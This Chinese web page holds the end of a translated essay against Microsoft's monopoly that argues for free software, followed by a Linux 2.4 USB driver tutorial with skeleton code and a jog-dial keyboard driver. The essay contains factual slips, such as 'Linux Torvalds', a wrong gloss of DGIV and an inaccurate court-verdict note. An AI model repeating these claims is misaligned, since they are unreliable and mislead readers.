做贼而又不让人抓个人证物证具在,其唯一的妙招就是控制信息传输上下一条龙:您的计算机应该使用特定的软件,能够暗中偷窃用户的某些情报;英特网提供商(ISP)应该保存住您的痕迹:网址、连接方式及时间长短;您访问的网站也应该使用特定的软件,在和您的留览器交流之即识别出您的身份,留下您访问的历史。最重要的是:这些都是瞒着您,暗地里做的!现在一个水平不高的电脑爱好者就可以发现这些秘密:有人在偷看你。他只要懂得电脑之间的数据传输格式就能做到。这些格式现在属于公共领域,它们还应该继续为公众所有,这才能让不同的公司在技术上开展合作。但是,如果明天市场上只剩下一家软件出版社,那么这些黑暗的角落里做的小动作就根本不会被任何人发现,否则就是触犯了“reverse engineering”这条欺君之罪。

您看出来了么?这不光是一件文字编辑的小问题。

十二、对欧洲、对就业的一个不可多得的机会

我国宣传媒界对此事的消极被动的态度甚至狼狈为奸的举动令我吃惊和愤怒:我们正在默许一个近乎是十七世纪的美洲海盗式的行为,我们是把国家经济独立当作砝码压了上去!我完全理解他们美国政府对此事挣一只眼闭一只眼([译者按]美国的法庭于99年11月6日宣布比尔-盖兹的公司有罪):钱是落到他们美国人的腰包里去的。但是我无法给自己解释清楚:法国政府也闭着眼睛,看不见这些钱是我们的血汗?

也不能说我们欧共体毫无反应。好象已经开始大规模地针对这些可疑的行为展开调查。我们从DGIV(法国政府一个机构,管理计算机技术的警察)官员的文字演说的字里行间隐约可以看到和日本官方结构FTC类似的措词。但是这些远远不够,现在的计算机市场雹展的如此之快,等到调查结果出来了,死孩子已经抱到南墙了:损失已经造成。如果象有些 “消息灵通人士”说的那样,还和95年一样,不伴随有任何经济制裁,还将是挠个痒痒。

我们有技术上的能力和经济上的力量,缺的是一个主动的、积极向上的计算机科技战略:别忘了,欧洲很多方面具有比美国还高水平的人力和智力。只随便举几个例子,NextStep这个被誉为 “世界上最受尊敬的软件”的作者之一就是法国人;欧洲的程序形式自动检测理论走在世界前列,它令人满意地完成了许多工作,最近的一次就是Ariane五号运载火箭的成功发射。

摆脱微软的垄断统治,现在有一个对欧洲来说是千载难逢的好机会,也会给我们的工业、学校带来巨大的益处,我们这儿天天吵嚷着市场“落后”、计算机普及程度不高,其实这正是我们最好的机遇,这说明我们还没有彻底地被人家推进陷阱。要知道,赶不上火车、轮船不要紧,要紧的是这趟车船将来会不会出轨道、翻船。我们还来得急给我们的企业、学校提供开放型的、价格低廉甚至免费的、性能优良而又稳定的计算机系统。现在越来越多有为的计算机爱好者在有可能的情况下,选择走这条路,他们扔掉的是一套预先安好的、布满地雷、陷阱的系统,获得的是一个近乎免费的、可自己随意改动的,开放的软件环境。结果,创造出无数就业机会。

十三、一个可行的出路:开放软件

当我们给中、小学孩子挑选计算机软件,做启蒙教育时,我们没必要收下垄断者掺着毒药的“礼品”。为什么非得去选择一个三天两头死机、版本定期无故被更换、原程序不能看到的软件系统,我们可以选择一个稳定性好、开放的、免费系统。不要被街上的流言蜚语所迷惑,免费系统早已证明了它的可行性和优越性。它可以让每一个年轻人在一个安全的环境下工作、学习,让那些有好奇心、肯钻研的人更好的学到计算机技术。如果他愿意,可以直接打开车盖,把马达大卸八块。

至于那些大型的商业机算机群体,最好也应该去信任那些备有原程序和完整的资料解释、而且时时刻刻都在受一批懂技术的专业人才检测、改进的软件。可以根据需要,花费很少的经费把它变成对企业有用的软件。

对于一个大型企业来说,“抛弃垄断封闭的产品,选择开放型操作系统”是一个具有战略性意义的决策。这一点,很多数学统计专家专门做过认真的调查研究,得到了定性、定量的结论。在我们欧洲能找到好多个这样的例子,他们有些产品杀入了美国市场。

这条路已经成为现实了。Richard Stallman和免费软件协会(Free Software Foundation)十五年前就开始了这方面的工作,其目的就是创造出一整套被称为GNU的完全免费的操作系统和应用软件。这项工作在Linux Torvalds领导下、由世界各地几千人努力而完成。他们非盈利的义务劳动,使得Linux操作系统得以诞生。这是一个免费的、开放的Unix系统。其真名应该是我上面提到的GNU/Linux系统。GNU/Linux系统的历史让人不能不想到法国人心目中极为珍贵的三条坐右铭:“自由”,“平等”,“博爱”。这个系统下我们几乎可以找到所有的东西:一个Web服务器,一个Java机器,一个DosEmulator,一系列GNU工具,甚至一套办公软件。不用付任何税,您就能获得一套完整可行的系统。欧共体为什么不可以伸出手来,给这种义务劳动予以支持和鼓励?几千万法朗,对整个欧共体的预算里又算得了什么?但这就足够让GNUstep这样的工程尽早完成,就可以促进GNU/Linux的发展,创造出一系列成龙配套、相互之间可以通用的办公软件。

选择一个免费开放的系统就彻底的实现了“打倒土豪劣绅”,消租灭息。令我们的企业更加有竞争力,有利于就业环境的改良:那些扔到河里的租子就变成了能带来生产财富的有用之财,正好可以付给一些中小计算机企业,让他们来负责编制、调试和维修企业的各种所需软件。这样做,一定会造就出一大批有技术的劳动力,促进经济的发展。而不是象现在那样:一群拿着低下的薪水的推销商人,整日苦思冥想,试图着卖掉手里的、自己也无法控制的产品。利润却流入到别人的口袋里去了。

十四、结论

信息技术和计算机工业给我们日常生活方式带来了一次大革命。那么这场革命是把我们带入一个中世纪时期似的科学封建社会:少数几个黑暗的土地领主霸占文字的使用权利和各种信息交通渠道,每呼吸一下空气都得交钱纳税;还是把我们带入一个开放的,现代化的的社会,在这个社会里没有条条封锁线,人们可以自由的交流信息,共享知识财富,获得应得的益处。

2004年08月16日

前言

在上篇《Linux下的硬件驱动–USB设备(上)(驱动配制部分)》中,我们知道了在Linux下如何去使用一些最常见的USB设备。但对于做系统设计的程序员来说,这是远远不够的,我们还需要具有驱动程序的阅读、修改和开发能力。在此下篇中,就是要通过简单的USB驱动的例子,随您一起进入USB驱动开发的世界。

USB驱动开发

在掌握了USB设备的配置后,对于程序员,我们就可以尝试进行一些简单的USB驱动的修改和开发了。这一段落,我们会讲解一个最基础USB框架的基础上,做两个小的USB驱动的例子。

USB骨架

在Linux kernel源码目录中driver/usb/usb-skeleton.c为我们提供了一个最基础的USB驱动程序。我们称为USB骨架。通过它我们仅需要修改极少的部分,就可以完成一个USB设备的驱动。我们的USB驱动开发也是从她开始的。

那些linux下不支持的USB设备几乎都是生产厂商特定的产品。如果生产厂商在他们的产品中使用自己定义的协议,他们就需要为此设备创建特定的驱动程序。当然我们知道,有些生产厂商公开他们的USB协议,并帮助Linux驱动程序的开发,然而有些生产厂商却根本不公开他们的USB协议。因为每一个不同的协议都会产生一个新的驱动程序,所以就有了这个通用的USB驱动骨架程序, 它是以pci 骨架为模板的。

如果你准备写一个linux驱动程序,首先要熟悉USB协议规范。USB主页上有它的帮助。一些比较典型的驱动可以在上面发现,同时还介绍了USB urbs的概念,而这个是usb驱动程序中最基本的。

Linux USB 驱动程序需要做的第一件事情就是在Linux USB 子系统里注册,并提供一些相关信息,例如这个驱动程序支持那种设备,当被支持的设备从系统插入或拔出时,会有哪些动作。所有这些信息都传送到USB 子系统中,在usb骨架驱动程序中是这样来表示的:

 static struct usb_driver skel_driver = { name: "skeleton", probe: skel_probe, disconnect: skel_disconnect, fops: &skel_fops, minor: USB_SKEL_MINOR_BASE, id_table: skel_table, }; 

变量name是一个字符串,它对驱动程序进行描述。probe 和disconnect 是函数指针,当设备与在id_table 中变量信息匹配时,此函数被调用。

fops和minor变量是可选的。大多usb驱动程序钩住另外一个驱动系统,例如SCSI,网络或者tty子系统。这些驱动程序在其他驱动系统中注册,同时任何用户空间的交互操作通过那些接口提供,比如我们把SCSI设备驱动作为我们USB驱动所钩住的另外一个驱动系统,那么我们此USB设备的read、write等操作,就相应按SCSI设备的read、write函数进行访问。但是对于扫描仪等驱动程序来说,并没有一个匹配的驱动系统可以使用,那我们就要自己处理与用户空间的read、write等交互函数。Usb子系统提供一种方法去注册一个次设备号和file_operations函数指针,这样就可以与用户空间实现方便地交互。

USB骨架程序的关键几点如下:

  1. USB驱动的注册和注销

    Usb驱动程序在注册时会发送一个命令给usb_register,通常在驱动程序的初始化函数里。

    当要从系统卸载驱动程序时,需要注销usb子系统。即需要usb_unregister 函数处理:

     static void __exit usb_skel_exit(void) { /* deregister this driver with the USB subsystem */ usb_deregister(&skel_driver); } module_exit(usb_skel_exit); 

    当usb设备插入时,为了使linux-hotplug(Linux中PCI、USB等设备热插拔支持)系统自动装载驱动程序,你需要创建一个MODULE_DEVICE_TABLE。代码如下(这个模块仅支持某一特定设备):

     /* table of devices that work with this driver */ static struct usb_device_id skel_table [] = { { USB_DEVICE(USB_SKEL_VENDOR_ID, USB_SKEL_PRODUCT_ID) }, { } /* Terminating entry */ }; MODULE_DEVICE_TABLE (usb, skel_table); 

    USB_DEVICE宏利用厂商ID和产品ID为我们提供了一个设备的唯一标识。当系统插入一个ID匹配的USB设备到USB总线时,驱动会在USB core中注册。驱动程序中probe 函数也就会被调用。usb_device 结构指针、接口号和接口ID都会被传递到函数中。

     static void * skel_probe(struct usb_device *dev, unsigned int ifnum, const struct usb_device_id *id) 

    驱动程序需要确认插入的设备是否可以被接受,如果不接受,或者在初始化的过程中发生任何错误,probe函数返回一个NULL值。否则返回一个含有设备驱动程序状态的指针。通过这个指针,就可以访问所有结构中的回调函数。

    在骨架驱动程序里,最后一点是我们要注册devfs。我们创建一个缓冲用来保存那些被发送给usb设备的数据和那些从设备上接受的数据,同时USB urb 被初始化,并且我们在devfs子系统中注册设备,允许devfs用户访问我们的设备。注册过程如下:

     /* initialize the devfs node for this device and register it */ sprintf(name, "skel%d", skel->minor); skel->devfs = devfs_register (usb_devfs_handle, name, DEVFS_FL_DEFAULT, USB_MAJOR, USB_SKEL_MINOR_BASE + skel->minor, S_IFCHR | S_IRUSR | S_IWUSR | S_IRGRP | S_IWGRP | S_IROTH, &skel_fops, NULL); 

    如果devfs_register函数失败,不用担心,devfs子系统会将此情况报告给用户。

    当然最后,如果设备从usb总线拔掉,设备指针会调用disconnect 函数。驱动程序就需要清除那些被分配了的所有私有数据、关闭urbs,并且从devfs上注销调自己。

     /* remove our devfs node */ devfs_unregister(skel->devfs); 

    现在,skeleton驱动就已经和设备绑定上了,任何用户态程序要操作此设备都可以通过file_operations结构所定义的函数进行了。首先,我们要open此设备。在open函数中MODULE_INC_USE_COUNT 宏是一个关键,它的作用是起到一个计数的作用,有一个用户态程序打开一个设备,计数器就加一,例如,我们以模块方式加入一个驱动,若计数器不为零,就说明仍然有用户程序在使用此驱动,这时候,你就不能通过rmmod命令卸载驱动模块了。

     /* increment our usage count for the module */ MOD_INC_USE_COUNT; ++skel->open_count; /* save our object in the file's private structure */ file->private_data = skel; 

    当open完设备后,read、write函数就可以收、发数据了。

  2. skel的write、和read函数

    他们是完成驱动对读写等操作的响应。

    在skel_write中,一个FILL_BULK_URB函数,就完成了urb 系统callbak和我们自己的skel_write_bulk_callback之间的联系。注意skel_write_bulk_callback是中断方式,所以要注意时间不能太久,本程序中它就只是报告一些urb的状态等。

    read 函数与write 函数稍有不同在于:程序并没有用urb 将数据从设备传送到驱动程序,而是我们用usb_bulk_msg 函数代替,这个函数能够不需要创建urbs 和操作urb函数的情况下,来发送数据给设备,或者从设备来接收数据。我们调用usb_bulk_msg函数并传提一个存储空间,用来缓冲和放置驱动收到的数据,若没有收到数据,就失败并返回一个错误信息。

  3. usb_bulk_msg函数

    当对usb设备进行一次读或者写时,usb_bulk_msg 函数是非常有用的; 然而, 当你需要连续地对设备进行读/写时,建议你建立一个自己的urbs,同时将urbs 提交给usb子系统。

  4. skel_disconnect函数

    当我们释放设备文件句柄时,这个函数会被调用。MOD_DEC_USE_COUNT宏会被用到(和MOD_INC_USE_COUNT刚好对应,它减少一个计数器),首先确认当前是否有其它的程序正在访问这个设备,如果是最后一个用户在使用,我们可以关闭任何正在发生的写,操作如下:

     /* decrement our usage count for the device */ --skel->open_count; if (skel->open_count <= 0) { /* shutdown any bulk writes that might be going on */ usb_unlink_urb (skel->write_urb); skel->open_count = 0; } /* decrement our usage count for the module */ MOD_DEC_USE_COUNT; 

    最困难的是,usb 设备可以在任何时间点从系统中取走,即使程序目前正在访问它。usb驱动程序必须要能够很好地处理解决此问题,它需要能够切断任何当前的读写,同时通知用户空间程序:usb设备已经被取走。

    如果程序有一个打开的设备句柄,在当前结构里,我们只要把它赋值为空,就像它已经消失了。对于每一次设备读写等其它函数操作,我们都要检查usb_device结构是否存在。如果不存在,就表明设备已经消失,并返回一个-ENODEV错误给用户程序。当最终我们调用release 函数时,在没有文件打开这个设备时,无论usb_device结构是否存在、它都会清空skel_disconnect函数所作工作。

    Usb 骨架驱动程序,提供足够的例子来帮助初始人员在最短的时间里开发一个驱动程序。更多信息你可以到linux usb开发新闻组去寻找。

U盘、USB读卡器、MP3、数码相机驱动

对于一款windows下用的很爽的U盘、USB读卡器、MP3或数码相机,可能Linux下却不能支持。怎么办?其实不用伤心,也许经过一点点的工作,你就可以很方便地使用它了。通常是此U盘、USB读卡器、MP3或数码相机在WindowsXP中不需要厂商专门的驱动就可以识别为移动存储设备,这样的设备才能保证成功,其他的就看你的运气了。

USB存储设备,他们的read、write等操作都是通过上章节中提到的钩子,把自己的操作钩到SCSI设备上去的。我们就不需要对其进行具体的数据读写处理了。

第一步:我们通过cat /proc/bus/usb/devices得到当前系统探测到的USB总线上的设备信息。它包括Vendor、ProdID、Product等。下面是我买的一款杂牌CF卡读卡器插入后的信息片断:

 T: Bus=01 Lev=01 Prnt=01 Port=01 Cnt=02 Dev#= 5 Spd=12 MxCh= 0 D: Ver= 1.10 Cls=00(>ifc ) Sub=00 Prot=00 MxPS=8 #Cfgs= 1 P: Vendor=07c4 ProdID=a400 Rev= 1.13 S: Manufacturer=USB S: Product=Mass Storage C:* #Ifs= 1 Cfg#= 1 Atr=80 MxPwr=70mA I: If#= 0 Alt= 0 #EPs= 2 Cls=08(vend.) Sub=06 Prot=50 Driver=usb-storage E: Ad=81(I) Atr=02(Bulk) MxPS= 64 Ivl= 0ms E: Ad=02(O) Atr=02(Bulk) MxPS= 64 Ivl= 0ms 

其中,我们最关心的是Vendor=07c4 ProdID=a400和Manufacturer=USB(果然是杂牌,厂商名都看不到)Product= Mass Storage。

对于这些移动存储设备,我们知道Linux下都是通过usb-storage.o驱动模拟成scsi设备去支持的,之所以不支持,通常是usb-storage驱动未包括此厂商识别和产品识别信息(在类似skel_probe的USB最初探测时被屏蔽了)。对于USB存储设备的硬件访问部分,通常是一致的。所以我们要支持它,仅需要修改usb-storage中关于厂商识别和产品识别列表部分。

第二部,打开drivers/usb/storage/unusual_devs.h文件,我们可以看到所有已知的产品登记表,都是以UNUSUAL_DEV(idVendor, idProduct, bcdDeviceMin, bcdDeviceMax, vendor_name, product_name, use_protocol, use_transport, init_function, Flags)方式登记的。其中相应的涵义,你就可以根据命名来判断了。所以只要我们如下填入我们自己的注册,就可以让usb-storage驱动去认识和发现它。

 UNUSUAL_DEV(07c4, a400, 0x0000, 0xffff, " USB ", " Mass Storage ", US_SC_SCSI, US_PR_BULK, NULL, US_FL_FIX_INQUIRY | US_FL_START_STOP |US_FL_MODE_XLATE ) 

注意:添加以上几句的位置,一定要正确。比较发现,usb-storage驱动对所有注册都是按idVendor, idProduct数值从小到大排列的。我们也要放在相应位置。

最后,填入以上信息,我们就可以重新编译生成内核或usb-storage.o模块。这时候插入我们的设备就可以跟其他U盘一样作为SCSI设备去访问了。

键盘飞梭支持

目前很多键盘都有飞梭和手写板,下面我们就尝试为一款键盘飞梭加入一个驱动。在通常情况,当我们插入USB接口键盘时,在/proc/bus/usb/devices会看到多个USB设备。比如:你的USB键盘上的飞梭会是一个,你的手写板会是一个,若是你的USB键盘有USB扩展连接埠,也会看到。

下面是具体看到的信息

 T: Bus=02 Lev=00 Prnt=00 Port=00 Cnt=00 Dev#= 1 Spd=12 MxCh= 2 B: Alloc= 11/900 us ( 1%), #Int= 1, #Iso= 0 D: Ver= 1.00 Cls=09(hub ) Sub=00 Prot=00 MxPS= 8 #Cfgs= 1 P: Vendor=0000 ProdID=0000 Rev= 0.00 S: Product=USB UHCI Root Hub S: SerialNumber=d800 C:* #Ifs= 1 Cfg#= 1 Atr=40 MxPwr= 0mA I: If#= 0 Alt= 0 #EPs= 1 Cls=09(hub ) Sub=00 Prot=00 Driver=hub E: Ad=81(I) Atr=03(Int.) MxPS= 8 Ivl=255ms T: Bus=02 Lev=01 Prnt=01 Port=01 Cnt=01 Dev#= 3 Spd=12 MxCh= 3 D: Ver= 1.10 Cls=09(hub ) Sub=00 Prot=00 MxPS= 8 #Cfgs= 1 P: Vendor=07e4 ProdID=9473 Rev= 0.02 S: Manufacturer=ALCOR S: Product=Movado USB Keyboard C:* #Ifs= 1 Cfg#= 1 Atr=e0 MxPwr=100mA I: If#= 0 Alt= 0 #EPs= 1 Cls=09(hub ) Sub=00 Prot=00 Driver=hub E: Ad=81(I) Atr=03(Int.) MxPS= 1 Ivl=255ms 

找到相应的信息后就可开始工作了。实际上,飞梭的定义和键盘键码通常是一样的,所以我们参照drivers/usb/usbkbd..c代码进行一些改动就可以了。因为没能拿到相应的硬件USB协议,我无从知道飞梭在按下时通讯协议众到底发什么,我只能把它的信息打出来进行分析。幸好,它比较简单,在下面代码的usb_kbd_irq函数中if(kbd->new[0] == (char)0×01)和if(((kbd->new[1]>>4)&0×0f)!=0×7)就是判断飞梭左旋。usb_kbd_irq函数就是键盘中断响应函数。他的挂接,就是在usb_kbd_probe函数中

 FILL_INT_URB(&kbd->irq, dev, pipe, kbd->new, maxp > 8 ? 8 : maxp, usb_kbd_irq, kbd, endpoint->bInterval); 

一句中实现。

从usb骨架中我们知道,usb_kbd_probe函数就是在USB设备被系统发现是运行的。其他部分就都不是关键了。你可以根据具体的探测值(Vendor=07e4 ProdID=9473等)进行一些修改就可以了。值得一提的是,在键盘中断中,我们的做法是收到USB飞梭消息后,把它模拟成左方向键和右方向键,在这里,就看你想怎么去响应它了。当然你也可以响应模拟成F14、F15等扩展键码。

在了解了此基本的驱动后,对于一个你已经拿到通讯协议的键盘所带手写板,你就应该能进行相应驱动的开发了吧。

程序见附录1:键盘飞梭驱动。

使用此驱动要注意的问题:在加载此驱动时你必须先把hid设备卸载,加载完usbhkey.o模块后再加载hid.o。因为若hid存在,它的probe会屏蔽系统去利用我们的驱动发现我们的设备。其实,飞梭本来就是一个hid设备,正确的方法,或许你应该修改hid的probe函数,然后把我们的驱动融入其中。

参考资料

  1. 《LINUX设备驱动程序》
    ALESSANDRO RUBINI著
    LISOLEG 译
  2. 《Linux系统分析与高级编程技术》
    周巍松 编著
  3. Linux Kernel-2.4.20源码和文档说明

附录1:键盘飞梭驱动

 #include <linux/kernel.h> #include <linux/slab.h> #include <linux/module.h> #include <linux/input.h> #include <linux/init.h> #include <linux/usb.h> #include <linux/kbd_ll.h> /* * Version Information */ #define DRIVER_VERSION "" #define DRIVER_AUTHOR "TGE HOTKEY " #define DRIVER_DESC "USB HID Tge hotkey driver" #define USB_HOTKEY_VENDOR_ID 0x07e4 #define USB_HOTKEY_PRODUCT_ID 0x9473 //厂商和产品ID信息就是/proc/bus/usb/devices中看到的值 MODULE_AUTHOR( DRIVER_AUTHOR ); MODULE_DESCRIPTION( DRIVER_DESC ); struct usb_kbd { struct input_dev dev; struct usb_device *usbdev; unsigned char new[8]; unsigned char old[8]; struct urb irq, led; // devrequest dr; //这一行和下一行的区别在于kernel2.4.20版本对usb_kbd键盘结构定义发生了变化 struct usb_ctrlrequest dr; unsigned char leds, newleds; char name[128]; int open; }; //此结构来自内核中drivers/usb/usbkbd..c static void usb_kbd_irq(struct urb *urb) { struct usb_kbd *kbd = urb->context; int *new; new = (int *) kbd->new; if(kbd->new[0] == (char)0x01) { if(((kbd->new[1]>>4)&0x0f)!=0x7) { handle_scancode(0xe0,1); handle_scancode(0x4b,1); handle_scancode(0xe0,0); handle_scancode(0x4b,0); } else { handle_scancode(0xe0,1); handle_scancode(0x4d,1); handle_scancode(0xe0,0); handle_scancode(0x4d,0); } } printk("new=%x %x %x %x %x %x %x %x", kbd->new[0],kbd->new[1],kbd->new[2],kbd->new[3], kbd->new[4],kbd->new[5],kbd->new[6],kbd->new[7]); } static void *usb_kbd_probe(struct usb_device *dev, unsigned int ifnum, const struct usb_device_id *id) { struct usb_interface *iface; struct usb_interface_descriptor *interface; struct usb_endpoint_descriptor *endpoint; struct usb_kbd *kbd; int pipe, maxp; iface = &dev->actconfig->interface[ifnum]; interface = &iface->altsetting[iface->act_altsetting]; if ((dev->descriptor.idVendor != USB_HOTKEY_VENDOR_ID) || (dev->descriptor.idProduct != USB_HOTKEY_PRODUCT_ID) || (ifnum != 1)) { return NULL; } if (dev->actconfig->bNumInterfaces != 2) { return NULL; } if (interface->bNumEndpoints != 1) return NULL; endpoint = interface->endpoint + 0; pipe = usb_rcvintpipe(dev, endpoint->bEndpointAddress); maxp = usb_maxpacket(dev, pipe, usb_pipeout(pipe)); usb_set_protocol(dev, interface->bInterfaceNumber, 0); usb_set_idle(dev, interface->bInterfaceNumber, 0, 0); printk(KERN_INFO "GUO: Vid = %.4x, Pid = %.4x, Device = %.2x, ifnum = %.2x, bufCount = %.8x\\n", dev->descriptor.idVendor,dev->descriptor.idProduct,dev->descriptor.bcdDevice, ifnum, maxp); if (!(kbd = kmalloc(sizeof(struct usb_kbd), GFP_KERNEL))) return NULL; memset(kbd, 0, sizeof(struct usb_kbd)); kbd->usbdev = dev; FILL_INT_URB(&kbd->irq, dev, pipe, kbd->new, maxp > 8 ? 8 : maxp, usb_kbd_irq, kbd, endpoint->bInterval); kbd->irq.dev = kbd->usbdev; if (dev->descriptor.iManufacturer) usb_string(dev, dev->descriptor.iManufacturer, kbd->name, 63); if (usb_submit_urb(&kbd->irq)) { kfree(kbd); return NULL; } printk(KERN_INFO "input%d: %s on usb%d:%d.%d\\n", kbd->dev.number, kbd->name, dev->bus->busnum, dev->devnum, ifnum); return kbd; } static void usb_kbd_disconnect(struct usb_device *dev, void *ptr) { struct usb_kbd *kbd = ptr; usb_unlink_urb(&kbd->irq); kfree(kbd); } static struct usb_device_id usb_kbd_id_table [] = { { USB_DEVICE(USB_HOTKEY_VENDOR_ID, USB_HOTKEY_PRODUCT_ID) }, { } /* Terminating entry */ }; MODULE_DEVICE_TABLE (usb, usb_kbd_id_table); static struct usb_driver usb_kbd_driver = { name: "Hotkey", probe: usb_kbd_probe, disconnect: usb_kbd_disconnect, id_table: usb_kbd_id_table, NULL, }; static int __init usb_kbd_init(void) { usb_register(&usb_kbd_driver); info(DRIVER_VERSION ":" DRIVER_DESC); return 0; } static void __exit usb_kbd_exit(void) { usb_deregister(&usb_kbd_driver); } module_init(usb_kbd_init); module_exit(usb_kbd_exit);